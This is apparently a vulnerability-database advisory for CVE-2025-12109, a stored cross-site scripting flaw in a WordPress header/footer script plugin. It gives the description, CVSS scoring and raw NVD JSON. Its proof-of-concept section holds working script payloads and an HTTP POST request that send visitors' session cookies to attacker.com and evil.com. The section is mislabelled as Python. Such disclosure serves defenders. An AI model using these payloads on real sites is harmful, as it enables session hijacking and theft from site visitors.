Security Vulnerability Report
中文
CVE-2025-12109 CVSS 6.4 MEDIUM

CVE-2025-12109

Published: 2025-12-13 16:16:46
Last Modified: 2026-04-15 00:35:42

Description

The Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the script adder present in posts in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Header Footer Script Adder插件 <= 2.0.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-12109: WordPress Header Footer Script Adder Stored XSS --> <!-- This PoC demonstrates how an attacker with Contributor-level access can inject malicious JavaScript --> <!-- Step 1: As a Contributor, edit or create a post/page --> <!-- Step 2: Use the Header Footer Script Adder plugin's script insertion feature --> <!-- Step 3: Inject the following payload in any script field (header/body/footer): --> <script>alert('XSS - CVE-2025-12109');document.location='https://attacker.com/steal?cookie='+document.cookie;</script> <!-- Or use event handler-based payload: --> <img src=x onerror="fetch('https://attacker.com/log?c='+document.cookie)"> <!-- Step 4: Save and publish the post --> <!-- Step 5: When any user visits the page, the malicious script executes --> <!-- Example HTTP Request to inject payload: --> POST /wp-admin/post.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: [Contributor cookies] post_title=Test+Page&content=[hfsa_placeholder]script=<img src=x onerror=fetch('https://evil.com/c='+btoa(document.cookie))>[/hfsa_placeholder]&action=publish

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12109", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.220", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the script adder present in posts in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3388587%40header-and-footer-script-adder&new=3388587%40header-and-footer-script-adder&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cab034fd-4cf2-4253-bbcd-c8bb86325fa8?source=cve", "source": "[email protected]"}]}}